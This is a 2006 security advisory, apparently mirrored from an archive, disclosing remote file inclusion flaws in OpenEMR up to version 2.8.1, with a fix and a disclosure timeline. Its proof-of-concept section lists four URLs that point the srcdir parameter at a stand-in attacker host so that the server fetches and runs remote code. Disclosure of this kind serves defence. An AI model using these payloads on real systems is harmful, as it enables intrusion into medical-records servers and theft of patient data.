AOH :: HP Unsorted O :: B06-5600.HTM

OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability



OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability
OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability



-----------------------------------------------------------------------------------------------
[ECHO_ADV_60$2006] OpenEMR <=2.8.1 Multiple Remote File Inclusion Vulnerability
-----------------------------------------------------------------------------------------------

Author		: Dedi Dwianto a.k.a the_day
Date Found	: November, 01nd 2006
Location	: Indonesia, Jakarta
web		: http://advisories.echo.or.id/adv/adv60-theday-2006.txt 
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application	: OpenEMR
version		: <=2.8.1
URL		: http://www.oemr.org 

OpenEMR is Open Source electronic medical record and medical practice management software. 
OpenEMR is best described as a "system" of programs. The main OpenEMR program consists of the electronic
health records and scheduling software. 
OpenEMR can also be configured for insurance billing with FreeB, accounting with SQL-Ledger,
and access controls with php-GACL.
---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~~~

I found vulnerability in interface/billing/billing_process.php
-----------------------interface/billing/billing_process.php-------------
....


Proof Of Concept:
~~~~~~~~~~~~~~~

http://target.com/[OpenEMR-path]/interface/billing/billing_process.php?srcdir=http://atacker.com/inject.txt? 
http://target.com/[OpenEMR-path]/interface/new/new_patient_save.php?srcdir=http://atacker.com/inject.txt? 
http://target.com/[OpenEMR-path]/login.php?srcdir=http://atacker.com/inject.txt? 
http://target.com/[OpenEMR-path]/library/translation.inc.php?GLOBALS[srcdir]=http://atacker.com/inject.txt? 



Solution:
~~~~~~~

- Sanitize variable $srcdir affected files.
- Turn off register_globals

Timeline :
~~~~~~~~~

01 - 11 - 2006 bugs found
01 - 11 - 2006 vendor contacted
07 - 11 - 2006 public disclosure

---------------------------------------------------------------------------

Shoutz:
~~~
~ y3dips,moby,comex,z3r0byt3,K-159,c-a-s-e,S`to,lirva32,anonymous
~ Jessy My Brain
~ az001,bomm_3x,matdhule,angelia
~ newbie_hacker@yahoogroups.com 
~ #aikmel - #e-c-h-o @irc.dal.net 
------------------------------------------------------------------------
---
Contact:
~~~~
     EcHo Research & Development Center
     the_day[at]echo[dot]or[dot]id
     
-------------------------------- [ EOF ]----------------------------------

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.